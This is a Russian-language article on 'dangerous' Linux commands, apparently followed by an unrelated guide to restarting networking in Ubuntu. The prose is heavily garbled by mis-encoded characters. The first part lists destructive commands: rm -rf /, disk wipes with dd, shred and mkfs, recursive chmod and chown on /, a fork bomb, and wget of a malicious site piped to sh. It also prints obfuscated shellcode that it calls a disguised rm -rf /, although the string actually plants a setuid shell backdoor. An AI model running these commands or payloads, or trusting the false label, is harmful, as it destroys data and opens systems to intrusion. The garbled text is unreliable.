ʩʪʘʪʴ ʞʝʨʪʚʦʡ ʪʘʢʠʭ "ʜʦʙʨʦʞʝʣʘʪʝʣʝʡ" ʠ ʜʨʫʛʠʭ "ʪʝʤʥʳʭ ʩʠʣ" ʯʠʪʘʡ ʥʘʰʫ ʩʪʘʪʴʶ! 

 

ɅɂɆɀɈȿɊȼɄɓɂ 

ʀ ʥʘʯʥʸʤ ʤʳ ʩ ʜʝʡʩʪʚʠʪʝʣʴʥʦ "ʥʝʧʨʦʩʪʠʪʝʣʴʥʳʭ ʟʘʢʣʷʪʠʡ", ʧʦʩʣʝʜʩʪʚʠʷ ʢʦʪʦʨʳʭ 

ʥʝʚʦʟʤʦʞʥʦ ʦʙʨʘʪʠʪʴ: 

1. rm ïrf /  - ʋʜʘʣʷʝʪ ʚʩʸ, ʜʦ ʯʝʛʦ ʪʦʣʴʢʦ ʤʦʞʝʪ ʜʦʙʨʘʪʴʩʷ. ʂʦʨʦʯʝ - ñAvada 

Kedavra!ò ʚ Linuxôʝ. 

ʏʪʦʙʳ ʣʫʯʰʝ ʨʘʟʦʙʨʘʪʴʩʷ ʢʘʢ ʦʥʘ ʜʝʡʩʪʚʫʝʪ, ʜʘʚʘʡʪʝ ʨʘʟʦʙʴʸʤ ʝʸ ʥʘ 

ʩʦʩʪʘʚʣʷʶʱʠʝ: 

ǒ rm - ʢʦʤʘʥʜʘ ʜʣʷ ʫʜʘʣʝʥʠʷ ʬʘʡʣʦʚ 

ǒ -r - ʨʝʢʫʨʩʠʚʥʦʝ ʫʜʘʣʝʥʠʝ ʚʩʝʭ ʬʘʡʣʦʚ ʚʥʫʪʨʠ ʧʘʧʢʠ, ʚʢʣʶʯʘʷ ʚʣʦʞʝʥʥʳʝ 

ʧʘʧʢʠ ʠ ʬʘʡʣʳ ʚ ʥʠʭ 

ǒ -f - ʦʟʥʘʯʘʝʪ ñforceò, ʥʝ ʩʧʨʘʰʠʚʘʝʪ ʧʦʜʪʚʝʨʞʜʝʥʠʷ ʜʣʷ ʚʳʧʦʣʥʝʥʠʷ 

ʦʧʝʨʘʮʠʠ ʫ ʧʦʣʴʟʦʚʘʪʝʣʷ 

ǒ / 

- ñʩʣʵʰʦʤò ʦʙʦʟʥʘʯʘʝʪʩʷ ʢʦʨʥʝʚʘʷ ʜʠʨʝʢʪʦʨʠʷ ʆʉ, ʢʦʪʦʨʘʷ ʩʦʜʝʨʞʠʪ ʚ ʩʝʙʝ ʥʝ 

ʪʦʣʴʢʦ ʚʩʝ ʬʘʡʣʳ ʩʠʩʪʝʤʳ, ʥʦ ʪʘʢʞʝ ʠ ʧʦʜʢʣʶʯʝʥʥʳʝ ʫʩʪʨʦʡʩʪʚʘ, ʪʘʢʠʝ ʢʘʢ 

ʫʜʘʣʝʥʥʳʝ ʜʠʨʝʢʪʦʨʠʠ (ʩʝʪʝʚʳʝ ʰʘʨʳ), USB-ʥʦʩʠʪʝʣʠ ʠ ʜʨʫʛʦʝ. 
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ʊʘʢʠʤ ʦʙʨʘʟʦʤ, ʩʠʩʪʝʤʘ ʧʦʡʤʸʪ ʜʘʥʥʫʶ ʢʦʤʘʥʜʫ ʢʘʢ: ñʋʜʘʣʠ ʤʥʝ ʚʩʸ, ʯʪʦ ʤʦʞʥʦ ʠ 

ʥʘʯʥʠ ʩ ʢʦʨʥʝʚʦʡ ʜʠʨʝʢʪʦʨʠʠ!ò 

ɺ GNU/Linux, ʆʉ Solaris ʠ FreeBSD ʝʩʪʴ ʤʝʭʘʥʠʟʤʳ ʟʘʱʠʪʳ, ʦʪ ʚʚʦʜʘ ʜʘʥʥʦʡ 

ʢʦʤʘʥʜʳ. ʅʘʧʨʠʤʝʨ, ʚ GNU ʩʠʩʪʝʤʘ ʥʝ ʜʘʸʪ ʚʚʝʩʪʠ ʵʪʫ ʢʦʤʘʥʜʫ, ʪʘʢ ʢʘʢ ʚ ʢʦʥʬʠʛʝ 

ʘʢʪʠʚʠʨʦʚʘʥʘ ʬʫʥʢʮʠʷ -- preserve - root . ʆʜʥʘʢʦ, ʝʩʣʠ ʜʦʙʘʚʠʪʴ ʢ ʥʝʡ ʢʣʶʯ - - no-

preserve - root , ʪʦ ʢʦʤʘʥʜʘ ʚʩʸ ʞʝ ʩʨʘʙʦʪʘʝʪ. 

ʉʫʱʝʩʪʚʫʝʪ ʥʝʩʢʦʣʴʢʦ ʚʘʨʠʘʮʠʡ ʜʣʷ ʤʘʩʢʠʨʦʚʢʠ ʵʪʦʡ ʢʦʤʘʥʜʳ, ʪʘʢ ʯʪʦ ʟʘʧʦʤʥʠ 

ʠʭ ʠ ʥʝ ʩʧʝʰʠ ʩʣʝʧʦ ʚʚʦʜʠʪʴ ʚ ʢʦʥʩʦʣʴ: 

ǒ mkdir test  

ǒ cd test  

ǒ touch ./ - r  

ǒ touch ./ - f  

ǒ su  

rm *  /  

ɼʝʣʘʝʪ ʪʦ ʞʝ ʩʘʤʦʝ, ʥʦ ʫʩʳʧʣʷʝʪ ʙʜʠʪʝʣʴʥʦʩʪʴ, ʩʦʟʜʘʚʘʷ ʥʝʥʫʞʥʫʶ ʜʠʨʝʢʪʦʨʠʶ 

ñtestò 

ǒ char  esp []  __attribute__ (( section (ñ.text ò))) /* e.s.p  

ǒ release */  

ǒ = ñ\ xeb \ x3e\ x5b\ x31\ xc0 \ x50\ x54\ x5a\ x83\ xec \ x64\ x68ò 

ǒ ñ\ xff \ xff \ xff \ xff \ x68\ xdf \ xd0 \ xdf \ xd9 \ x68\ x8d\ x99ò 

ǒ ñ\ xdf \ x81\ x68\ x8d\ x92\ xdf \ xd2 \ x54\ x5e\ xf7 \ x16\ xf7 ò 
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ǒ ñ\ x56\ x04\ xf7 \ x56\ x08\ xf7 \ x56\ x0c \ x83\ xc4 \ x74\ x56ò 

ǒ ñ\ x8d\ x73\ x08\ x56\ x53\ x54\ x59\ xb0 \ x0b\ xcd \ x80\ x31ò 

ǒ ñ\ xc0 \ x40\ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62\ x69ò 

ǒ ñ\ x6e\ x2f \ x73\ x68\ x00\ x2d\ x63\ x00ò 

ǒ ñcp - p / bin / sh / tmp /. beyond ;  chmod 4755  

/ tmp /. beyond ;ò; 

16-ʨʠʯʥʦʝ ʧʨʝʜʩʪʘʚʣʝʥʠʝ ʢʦʤʘʥʜʳ rm ïrf /, ʝʛʦ ʩʠʩʪʝʤʘ ʪʦʞʝ ʧʦʡʤʸʪ. 

2. sudo dd if=/dev/zero of=/dev/sda bs=8m  - ɿʘʧʦʣʥʷʝʪ ʥʘʯʘʣʴʥʳʝ 

40ʄʙʘʡʪ (8m) ʞʝʩʪʢʦʛʦ ʜʠʩʢʘ, ʢʦʪʦʨʳʝ ʩʦʜʝʨʞʘʪ ʚʘʞʥʳʝ ʜʘʥʥʳʝ ʩʪʨʫʢʪʫʨʳ 

ʥʫʣʷʤʠ. ʏʪʦ ʜʝʣʘʝʪ ʥʝʚʦʟʤʦʞʥʳʤ ʠʭ ʚʦʩʩʪʘʥʦʚʣʝʥʠʝ ʠ ʧʨʠʚʦʜʠʪ ʢ 

ʥʝʚʦʟʤʦʞʥʦʩʪʠ ʟʘʛʨʫʟʢʠ ʆʉ. 

/dev/zero ï ʵʪʦ ʥʝʢʦʝ ʧʩʝʚʜʦʫʩʪʨʦʡʩʪʚʦ, ʢʦʪʦʨʦʝ ʜʝʣʘʝʪ ʪʦʣʴʢʦ ʦʜʥʦ ï ʛʝʥʝʨʠʨʫʝʪ 

ʥʫʣʠ, ʘ /dev/sda - ʵʪʦ, ʢʘʢ ʧʨʘʚʠʣʦ, ʫʩʪʨʦʡʩʪʚʦ ʞʸʩʪʢʦʛʦ ʜʠʩʢʘ. ʂʦʤʘʥʜʦʡ dd ʤʳ 

ʢʘʢ ʙʳ ʛʦʚʦʨʠʤ ʩʠʩʪʝʤʝ: ñʉʢʦʧʠʨʫʡ ʜʘʥʥʳʝ ʠʟ ʛʝʥʝʨʘʪʦʨʘ ʥʫʣʝʡ ʠ ʟʘʤʝʥʠ ʝʶ 

ʧʝʨʚʳʝ 40ʄʙʘʡʪ ʥʘ ʤʦʸʤ ʞʝʩʪʢʦʤ ʜʠʩʢʝ!ò 

ʆʙʨʘʪʠʪʝ ʚʥʠʤʘʥʠʝ ʥʘ sudo  ʧʝʨʝʜ ʧʦʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʦʡ. ʕʪʦ ʟʥʘʯʠʪ, ʯʪʦ ʝʸ 

ʤʦʞʥʦ ʠʩʧʦʣʥʠʪʴ ʪʦʣʴʢʦ ʧʦʜ ʧʦʣʴʟʦʚʘʪʝʣʝʤ root. 

ɺʩʪʨʝʯʘʝʪʩʷ ʝʱʸ ʠʩʧʦʣʴʟʦʚʘʥʠʝ ʜʨʫʛʦʛʦ ʧʩʝʚʜʦʫʩʪʨʦʡʩʪʚʘ - if=/dev/random . 

ɺ ʦʪʣʠʯʠʝ ʦʪ /dev/zero ʦʥ ʛʝʥʝʨʠʨʫʝʪ ʘʙʩʦʣʶʪʥʦ ʨʘʥʜʦʤʥʳʡ, ʥʝʩʚʷʟʥʳʡ ʙʨʝʜ. 

ʇʨʠʤʝʥʷʝʪʩʷ ʚ ʦʩʥʦʚʥʦʤ ʜʣʷ ʛʝʥʝʨʘʮʠʠ ʢʣʶʯʝʡ. 
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3. shred /dev/sda  - ʋʜʘʣʠʪ ʚʩʝ ʜʘʥʥʳʝ ʥʘ ʞʸʩʪʢʦʤ ʜʠʩʢʝ. ʂʦʤʘʥʜʫ ʤʦʞʥʦ 

ʧʨʝʨʚʘʪʴ ʢʦʤʙʠʥʘʮʠʝʡ Ctrl+C, ʥʦ ʚʩʸ ʨʘʚʥʦ ʙʫʜʝʪ ʩʣʠʰʢʦʤ ʧʦʟʜʥʦ, ʯʪʦʙʳ 

ʚʦʩʩʪʘʥʦʚʠʪʴ ʢʨʠʪʠʯʥʳʝ ʦʙʣʘʩʪʠ. ʂʩʪʘʪʠ, ʥʘ ʩʘʤʦʤ ʜʝʣʝ shred ʠʩʧʦʣʴʟʫʝʪ 

ʪʝ ʞʝ ʛʝʥʝʨʘʪʦʨʳ ʙʨʝʜʘ /dev/random ʠʣʠ /dev/urandom ʠ ʥʘʯʠʥʘʝʪ 

ʟʘʧʦʣʥʷʪʴ ʜʠʩʢ ʜʘʥʥʳʤʠ ʦʪ ʥʠʭ. 

4. mkfs.ext3 /dev/sda  - ʌʦʨʤʘʪʠʨʦʚʘʥʠʝ ʞʝʩʪʢʦʛʦ ʜʠʩʢʘ. ʇʦ ʩʫʪʠ, ʵʪʘ 

ʢʦʤʘʥʜʘ ʩʦʟʜʘʸʪ ʥʦʚʫʶ ʬʘʡʣʦʚʫʶ ʩʠʩʪʝʤʫ ext3 (ʠʣʠ ʝʱʸ ʙʳʚʘʝʪ ext4) ʥʘ 

ʞʝʩʪʢʦʤ ʜʠʩʢʝ, ʧʨʝʜʚʘʨʠʪʝʣʴʥʦ ʩʪʠʨʘʷ ʩ ʥʝʛʦ ʚʩʝ ʜʘʥʥʳʝ. 

5. chmod - Rv 000 /  - ʆʪʥʠʤʘʝʪ ʚʩʝ ʨʘʟʨʝʰʝʥʠʷ ʥʘ ʚʩʝ ʬʘʡʣʳ ʠ ʚʩʝ ʧʘʧʢʠ ʚ 

ʩʠʩʪʝʤʝ. ʇʦʩʣʝ ʚʚʦʜʘ ʵʪʦʡ ʢʦʤʘʥʜʳ ʩʠʩʪʝʤʫ ʥʝʣʴʟʷ ʙʫʜʝʪ ʜʘʞʝ 

ʧʝʨʝʟʘʛʨʫʟʠʪʴ. ɸ ʝʩʣʠ ʧʝʨʝʟʘʛʨʫʟʠʪʴ ʝʸ ʚʨʫʯʥʫʶ, ʪʦ ʦʥʘ ʚʩʸ ʨʘʚʥʦ ʫʞʝ ʥʝ 

ʩʤʦʞʝʪ ʟʘʧʫʩʪʠʪʴʩʷ ʥʦʨʤʘʣʴʥʦ, ʪʘʢ ʢʘʢ ʟʘʧʨʘʰʠʚʘʝʤʳʝ ʧʨʠ ʟʘʛʨʫʟʢʝ 

ʢʦʤʧʦʥʝʥʪʳ ʙʫʜʫʪ ʥʝʜʦʩʪʫʧʥʳ. 

6. chown - R nobody:nobody /  - ʄʝʥʷʝʪ ʚʣʘʜʝʣʴʮʘ ʚʩʝʭ ʬʘʡʣʦʚ ʠ ʧʘʧʦʢ 

ʩʠʩʪʝʤʳ ʥʘ ñʥʠʢʦʛʦò. ʇʦ ʩʫʪʠ, ʵʬʬʝʢʪ ʦʪ ʚʚʦʜʘ ʵʪʦʡ ʢʦʤʘʥʜʳ ʪʘʢʠʤ ʞʝ, ʢʘʢ ʠ 

ʦʪ ʧʨʝʜʳʜʫʱʠʡ. ʇʦʩʢʦʣʴʢʫ ʥʠʢʪʦ ʥʝ ʷʚʣʷʝʪʩʷ ʚʣʘʜʝʣʴʮʝʤ ʥʠʯʝʛʦ ʚ ʩʠʩʪʝʤʝ, 

ʪʦ ʠ ʩʜʝʣʘʪʴ ʦʥ ʩ ʥʝʡ ʥʠʯʝʛʦ ʥʝ ʩʤʦʞʝʪ, ʜʘʞʝ ʟʘʧʫʩʪʠʪʴ. 

 

ɆɇȿɉɅɓɂ. ɅɆ ɆɀɈȿɊȼɄɓɂ 

7. :(){ :|:& };:  - ʃʦʛʠʯʝʩʢʘʷ ʙʦʤʙʘ (ʠʟʚʝʩʪʥʘʷ ʪʘʢʞʝ ʢʘʢ fork bomb), 

ʟʘʙʠʚʘʶʱʘʷ ʧʘʤʷʪʴ ʩʠʩʪʝʤʳ, ʯʪʦ ʚ ʠʪʦʛʝ ʧʨʠʚʦʜʠʪ ʢ ʝʸ ʟʘʚʠʩʘʥʠʶ. 

ʏʪʦʙʳ ʣʫʯʰʝ ʧʦʥʷʪʴ, ʢʘʢ ʦʥʘ ʜʝʡʩʪʚʫʝʪ, ʜʘʚʘʡʪʝ ʝʸ ʥʝʤʥʦʛʦ ʧʨʝʦʙʨʘʟʫʝʤ: 
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ǒ fu ()  {  

ǒ   fu |  fu & 

ǒ }  

fu  

ʕʪʦʪ Bash ʢʦʜ ʩʦʟʜʘʸʪ ʬʫʥʢʮʠʶ, ʢʦʪʦʨʘʷ ʟʘʧʫʩʢʘʝʪ ʝʱʸ ʜʚʘ ʩʚʦʠʭ ʵʢʟʝʤʧʣʷʨʘ, 

ʢʦʪʦʨʳʝ, ʚ ʩʚʦʶ ʦʯʝʨʝʜʴ ʩʥʦʚʘ ʟʘʧʫʩʢʘʶʪ ʵʪʫ ʬʫʥʢʮʠʶ ʠ ʪʘʢ ʜʦ ʪʝʭ ʧʦʨ, ʧʦʢʘ ʵʪʦʪ 

ʧʨʦʮʝʩʩ ʥʝ ʟʘʡʤʸʪ ʚʩʶ ʬʠʟʠʯʝʩʢʫʶ ʧʘʤʷʪʴ ʢʦʤʧʴʶʪʝʨʘ, ʠ ʦʥ ʧʨʦʩʪʦ ʥʝ ʟʘʚʠʩʥʝʪ. 

ʅʠ ʢ ʯʝʤʫ ʬʘʪʘʣʴʥʦʤʫ ʵʪʦ ʢʦʥʝʯʥʦ ʥʝ ʧʨʠʚʝʜʝʪ, ʥʦ ʧʝʨʝʟʘʛʨʫʟʠʪʴʩʷ ʚʩʸ ʞʝ 

ʧʨʠʜʸʪʩʷ. 

9. ʢʦʤʘʥʜʘ > file.conf - ʂʦʤʘʥʜʘ, ʢʦʪʦʨʘʷ ʤʦʞʝʪ ʧʝʨʝʟʘʧʠʩʘʪʴ ʚʘʞʥʳʡ 

ʢʦʥʬʠʛʫʨʘʮʠʦʥʥʳʡ ʬʘʡʣ. ɺ Linux ʝʩʪʴ ʜʚʝ ʬʫʥʢʮʠʠ, ʢʦʪʦʨʳʝ ʯʘʩʪʴ ʧʫʪʘʶʪ > 

- ʟʘʤʝʥʠʪʴ ʠ >> - ʜʦʙʘʚʠʪʴ. ʊʘʢʠʤ ʦʙʨʘʟʦʤ, ʝʩʣʠ ʥʘʧʠʩʘʪʴ ʢʘʢʫʶ-ʢʦʤʘʥʜʫ ʠ 

ʥʝʧʨʘʚʠʣʴʥʦ ʠʩʧʦʣʴʟʦʚʘʪʴ ʬʫʥʢʮʠʶ ʟʘʤʝʥʳ ʧʨʠ ʨʝʜʘʢʪʠʨʦʚʘʥʠʠ 

ʢʦʥʬʠʛʫʨʘʮʠʦʥʥʦʛʦ ʬʘʡʣʘ, ʤʦʞʥʦ ʧʦʪʝʨʷʪʴ ʝʛʦ ʩʦʜʝʨʞʠʤʦʝ. ɸ ʝʩʣʠ 

ʥʘʧʠʩʘʪʴ > file.conf , ʪʦ ʤʦʞʥʦ ʧʨʦʩʪʦ ʩʪʝʨʝʪʴ ʩʦʜʝʨʞʠʤʦʝ ʬʘʡʣʘ. 

10. wget http://ʚʨʝʜʦʥʦʩʥʳʡ_ʩʘʡʪ - O-  | sh  - ʉʢʘʯʠʚʘʥʠʝ ʠ ʧʦʩʣʝʜʫʶʱʠʝ 

ʠʩʧʦʣʥʝʥʠʝ ʢʘʢʦʛʦ-ʣʠʙʦ ʩʢʨʠʧʪʘ c ʩʘʡʪʘ ʚ ʀʥʪʝʨʥʝʪʝ. ɽʩʣʠ ʨʝʩʫʨʩ, ʩ 

ʢʦʪʦʨʦʛʦ ʪʳ ʢʘʯʘʝʰʴ ʩʢʨʠʧʪ ʦʢʘʞʝʪʩʷ ʚʨʝʜʦʥʦʩʥʳʤ, ʪʦ ʪʳ ʨʠʩʢʫʝʰʴ 

ʟʘʨʘʟʠʪʴ ʩʚʦʶ ʩʠʩʪʝʤʫ, ʚʝʜʴ ʚ ʩʢʨʠʧʪʝ ʤʦʞʝʪ ʦʢʘʟʘʪʴʩʷ ʢʦʜ, ʥʘʧʠʩʘʥʥʳʡ 

ʟʣʦʫʤʳʰʣʝʥʥʠʢʦʤ, ʢʦʪʦʨʳʡ ʩ ʨʘʜʦʩʪʴʶ ʠʩʧʦʣʥʠʪ ʪʚʦʷ ʩʠʩʪʝʤʘ. ʊʘʢ ʯʪʦ 

ʚʥʠʤʘʪʝʣʴʥʦ ʦʪʥʦʩʠʩʴ ʢ ʪʦʤʫ, ʯʪʦ ʩʢʘʯʠʚʘʝʰʴ ʠ ʟʘʧʫʩʢʘʝʰʴ. 

11. chmod - R 777 /  - ɼʘʸʪ ʨʘʟʨʝʰʝʥʠʝ ʚʩʝʤ ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʩʠʩʪʝʤʳ ʯʠʪʘʪʴ, 

ʧʝʨʝʟʘʧʠʩʳʚʘʪʴ ʠ ʟʘʧʫʩʢʘʪʴ ʚʩʸ ʯʪʦ ʫʛʦʜʥʦ. ʂʦʥʝʯʥʦ, ʩ ʪʘʢʦʡ ʩʠʩʪʝʤʦʡ 

ʤʦʞʥʦ ʞʠʪʴ ʠ ʨʘʙʦʪʘʪʴ, ʥʦ ʝʸ ʙʝʟʦʧʘʩʥʦʩʪʴ ʙʫʜʝʪ ʧʦʜ ʫʛʨʦʟʦʡ. 
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ʉʪʦʠʪ ʦʪʤʝʪʠʪʴ, ʯʪʦ ʚ ʨʘʟʣʠʯʥʳʭ ʜʠʩʪʨʠʙʫʪʠʚʘʭ Linux ʝʩʪʴ ʤʝʭʘʥʠʟʤʳ 

ʟʘʱʠʪr ʦʪ ʚʚʦʜʘ ʜʘʥʥʳʭ ʢʦʤʘʥʜ, ʛʜʝ-ʪʦ ʩʧʨʘʰʠʚʘʶʪ ʧʘʨʦʣʴ root, ʛʜʝ-ʪʦ 

ʟʘʧʨʘʰʠʚʘʶʪ ʧʦʜʪʚʝʨʞʜʝʥʠʝ ʥʘ ʠʩʧʦʣʥʝʥʠʝ, ʛʜʝ-ʪʦ ʧʨʦʩʷʪ ʚʚʝʩʪʠ 

ʩʧʝʮʠʘʣʴʥʳʝ ʢʣʶʯʠ. 

ǲȈȒ ȗȍȘȍȏȈȋȘțȏȐȚȤ șȍȚȤ Ȋ Ubuntu? 

ɺʳ ʠʩʧʦʣʴʟʫʝʪʝ ʩʠʩʪʝʤʫ ʥʘ ʦʩʥʦʚʝ Ubuntu ʠ ʧʨʦʩʪʦ ʥʝ ʤʦʞʝʪʝ ʧʦʜʢʣʶʯʠʪʴʩʷ ʢ 

ʩʚʦʝʡ ʩʝʪʠ? ɺʳ ʙʫʜʝʪʝ ʫʜʠʚʣʝʥʳ, ʩʢʦʣʴʢʦ ʧʨʦʙʣʝʤ ʤʦʞʥʦ ʠʩʧʨʘʚʠʪʴ ʧʨʦʩʪʳʤ 

ʧʝʨʝʟʘʧʫʩʢʦʤ. 

 

ɇɂɈɂɡȿɝɈɋɡȺȿ ɉɂɊȼ Ɂ VDVPUV ɉ ɇɆɄɆɑɔɖ ȺɆɄȿɅɠɅɆɢ ɉɊɈɆȺȼ 

ɽʩʣʠ ʚʳ ʠʩʧʦʣʴʟʫʝʪʝ Ubuntu Server Edition, ʚʳ ʫʞʝ ʥʘʭʦʜʠʪʝʩʴ ʚ ʪʝʨʤʠʥʘʣʝ. ɽʩʣʠ 

ʚʳ ʠʩʧʦʣʴʟʫʝʪʝ ʥʘʩʪʦʣʴʥʫʶ ʚʝʨʩʠʶ, ʚʳ ʤʦʞʝʪʝ ʧʦʣʫʯʠʪʴ ʜʦʩʪʫʧ ʢ ʪʝʨʤʠʥʘʣʫ ʩ 

ʧʦʤʦʱʴʶ ʩʦʯʝʪʘʥʠʷ ʢʣʘʚʠʰ Ctrl + Alt + T ʚ Ubuntu. 

ʊʝʧʝʨʴ ʫ ʚʘʩ ʝʩʪʴ ʥʝʩʢʦʣʴʢʦ ʢʦʤʘʥʜ ʜʣʷ ʧʝʨʝʟʘʛʨʫʟʢʠ ʩʝʪʠ ʚ Ubuntu. ʅʝʢʦʪʦʨʳʝ 

(ʠʣʠ, ʚʦʟʤʦʞʥʦ, ʙʦʣʴʰʠʥʩʪʚʦ) ʫʧʦʤʷʥʫʪʳʝ ʟʜʝʩʴ ʢʦʤʘʥʜʳ ʜʦʣʞʥʳ ʙʳʪʴ 

ʧʨʠʤʝʥʠʤʳ ʜʣʷ ʧʝʨʝʟʘʧʫʩʢʘ ʩʝʪʠ ʚ Debian ʠ ʜʨʫʛʠʭ ʜʠʩʪʨʠʙʫʪʠʚʘʭ Linux. 

 

NETWORK MANAGER SERVICE 

ʕʪʦ ʩʘʤʳʡ ʧʨʦʩʪʦʡ ʩʧʦʩʦʙ ʧʝʨʝʟʘʛʨʫʟʠʪʴ ʩʝʪʴ ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ. ʕʪʦ 

ʵʢʚʠʚʘʣʝʥʪʥʦ ʛʨʘʬʠʯʝʩʢʦʤʫ ʩʧʦʩʦʙʫ ʩʜʝʣʘʪʴ ʵʪʦ (ʧʝʨʝʟʘʧʫʩʢʘʝʪ ʩʣʫʞʙʫ Network-

Manager). 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/0.png
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/0.png
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sudo service network - manager restart  

ɿʥʘʯʦʢ ʩʝʪʠ ʜʦʣʞʝʥ ʥʘ ʤʛʥʦʚʝʥʠʝ ʠʩʯʝʟʥʫʪʴ, ʘ ʟʘʪʝʤ ʩʥʦʚʘ ʧʦʷʚʠʪʴʩʷ. 

 

SYSTEMD 

ɺʪʦʨʦʡ ʩʧʦʩʦʙ ï ʵʪʦ ʢʦʤʘʥʜʘ systemctl, ʢʦʪʦʨʘʷ ʛʦʨʘʟʜʦ ʙʦʣʝʝ ʫʥʠʚʝʨʩʘʣʴʥʘ, ʯʝʤ 

service. 

sudo systemctl restart NetworkManager . service  

ɿʥʘʯʦʢ ʩʝʪʠ ʩʥʦʚʘ ʜʦʣʞʝʥ ʠʩʯʝʟʥʫʪʴ ʥʘ ʤʛʥʦʚʝʥʠʝ. ʏʪʦʙʳ ʧʨʦʚʝʨʠʪʴ ʜʨʫʛʠʝ 

ʧʘʨʘʤʝʪʨʳ systemctl, ʚʳ ʤʦʞʝʪʝ ʦʙʨʘʪʠʪʴʩʷ ʢ ʝʛʦ ʩʧʨʘʚʦʯʥʦʡ ʩʪʨʘʥʠʮʝ. 

 

NMCLI 

ʕʪʦ ʝʱʝ ʦʜʠʥ ʠʥʩʪʨʫʤʝʥʪ ʜʣʷ ʨʘʙʦʪʳ ʩ ʩʝʪʷʤʠ ʥʘ ʢʦʤʧʴʶʪʝʨʝ ʩ Linux. ʕʪʦ 

ʜʦʚʦʣʴʥʦ ʤʦʱʥʳʡ ʠʥʩʪʨʫʤʝʥʪ, ʠ ʤʥʦʛʠʝ ʩʠʩʪʝʤʥʳʝ ʘʜʤʠʥʠʩʪʨʘʪʦʨʳ 

ʧʨʝʜʧʦʯʠʪʘʶʪ ʝʛʦ, ʧʦʩʢʦʣʴʢʫ ʦʥ ʧʨʦʩʪ ʚ ʠʩʧʦʣʴʟʦʚʘʥʠʠ. 

ʕʪʦʪ ʤʝʪʦʜ ʩʦʩʪʦʠʪ ʠʟ ʜʚʫʭ ʰʘʛʦʚ: ʚʳʢʣʶʯʠʪʴ ʩʝʪʴ, ʘ ʟʘʪʝʤ ʩʥʦʚʘ ʚʢʣʶʯʠʪʴ ʝʝ. 

sudo nmcli networking off  

ʉʝʪʴ ʦʪʢʣʶʯʠʪʩʷ ʠ ʟʥʘʯʦʢ ʠʩʯʝʟʥʝʪ. ʏʪʦʙʳ ʚʢʣʶʯʠʪʴ ʝʛʦ ʩʥʦʚʘ: 

sudo nmcli networking on  

https://wiki.merionet.ru/
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ɺʳ ʤʦʞʝʪʝ ʧʨʦʚʝʨʠʪʴ ʩʧʨʘʚʦʯʥʫʶ ʩʪʨʘʥʠʮʫ nmcli ʜʣʷ ʙʦʣʴʰʝʛʦ ʢʦʣʠʯʝʩʪʚʘ 

ʚʘʨʠʘʥʪʦʚ. 

 

IFUP & IFDOWN 

ʕʪʠ ʢʦʤʘʥʜʳ ʫʧʨʘʚʣʷʶʪ ʩʝʪʝʚʳʤ ʠʥʪʝʨʬʝʡʩʦʤ ʥʘʧʨʷʤʫʶ, ʠʟʤʝʥʷʷ ʝʛʦ ʩʦʩʪʦʷʥʠʝ 

ʥʘ ʩʦʩʪʦʷʥʠʝ, ʧʨʠ ʢʦʪʦʨʦʤ ʦʥ ʤʦʞʝʪ ʠʣʠ ʥʝ ʤʦʞʝʪ ʧʝʨʝʜʘʚʘʪʴ ʠ ʧʦʣʫʯʘʪʴ ʜʘʥʥʳʝ. 

ʕʪʦ ʦʜʥʘ ʠʟ ʩʘʤʳʭ ʠʟʚʝʩʪʥʳʭ ʩʝʪʝʚʳʭ ʢʦʤʘʥʜ ʚ Linux. 

ʏʪʦʙʳ ʟʘʢʨʳʪʴ ʚʩʝ ʩʝʪʝʚʳʝ ʠʥʪʝʨʬʝʡʩʳ, ʠʩʧʦʣʴʟʫʡʪʝ ifdown, ʘ ʟʘʪʝʤ 

ʠʩʧʦʣʴʟʫʡʪʝ ifup, ʯʪʦʙʳ ʩʥʦʚʘ ʚʢʣʶʯʠʪʴ ʚʩʝ ʩʝʪʝʚʳʝ ʠʥʪʝʨʬʝʡʩʳ. 

ʍʦʨʦʰʝʡ ʧʨʘʢʪʠʢʦʡ ʙʳʣʦ ʙʳ ʦʙʲʝʜʠʥʠʪʴ ʦʙʝ ʵʪʠ ʢʦʤʘʥʜʳ: 

sudo ifdown - a && sudo ifup - a 

 

NMTUI  

ʕʪʦ ʝʱʝ ʦʜʠʥ ʤʝʪʦʜ, ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʡ ʩʠʩʪʝʤʥʳʤʠ ʘʜʤʠʥʠʩʪʨʘʪʦʨʘʤʠ. ʕʪʦ 

ʪʝʢʩʪʦʚʦʝ ʤʝʥʶ ʜʣʷ ʫʧʨʘʚʣʝʥʠʷ ʩʝʪʷʤʠ ʧʨʷʤʦ ʚ ʚʘʰʝʤ ʪʝʨʤʠʥʘʣʝ. 

nmtui  

ʕʪʦ ʜʦʣʞʥʦ ʦʪʢʨʳʪʴ ʩʣʝʜʫʶʱʝʝ ʤʝʥʶ: 

https://wiki.merionet.ru/
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ʆʙʨʘʪʠʪʝ ʚʥʠʤʘʥʠʝ, ʯʪʦ ʚ nmtui ʚʳ ʤʦʞʝʪʝ ʚʳʙʨʘʪʴ ʜʨʫʛʦʡ ʚʘʨʠʘʥʪ, ʠʩʧʦʣʴʟʫʷ 

ʢʣʘʚʠʰʠ ʩʦ ʩʪʨʝʣʢʘʤʠ ʚʚʝʨʭ ʠ ʚʥʠʟ. 

ɺʳʙʝʨʠʪʝ Activate a connection 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/1.PNG
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/1.PNG
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ʅʘʞʤʠʪʝ Enter. ɼʦʣʞʥʦ ʦʪʢʨʳʪʴʩʷ ʤʝʥʶ ʩ ʩʦʝʜʠʥʝʥʠʷʤʠ. 

https://wiki.merionet.ru/
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/2.PNG
https://wiki.merionet.ru/images/kak-perezagruzit-set-v-ubuntu/2.PNG
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ɼʘʣʝʝ, ʚʳʙʝʨʠʪʝ ʩʝʪʴ ʩʦ ʟʚʝʟʜʦʯʢʦʡ (*) ʨʷʜʦʤ ʩ ʥʝʡ ʠ ʥʘʞʤʠʪʝ Enter. ʕʪʦ ʜʦʣʞʥʦ 

